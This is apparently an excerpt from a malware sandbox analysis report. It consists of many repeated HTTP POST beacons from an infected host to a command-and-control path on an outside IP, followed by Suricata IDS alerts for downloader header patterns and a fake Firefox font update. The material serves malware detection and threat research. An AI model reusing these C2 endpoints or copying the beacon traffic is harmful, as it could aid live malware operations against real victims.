Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49814 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49842 -> 154.216.20.78:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49864 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49887 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49880 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49893 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49911 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49918 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49912 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49931 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49928 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49938 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49955 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49970 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49991 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49989 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50031 -> 188.114.96.3:443
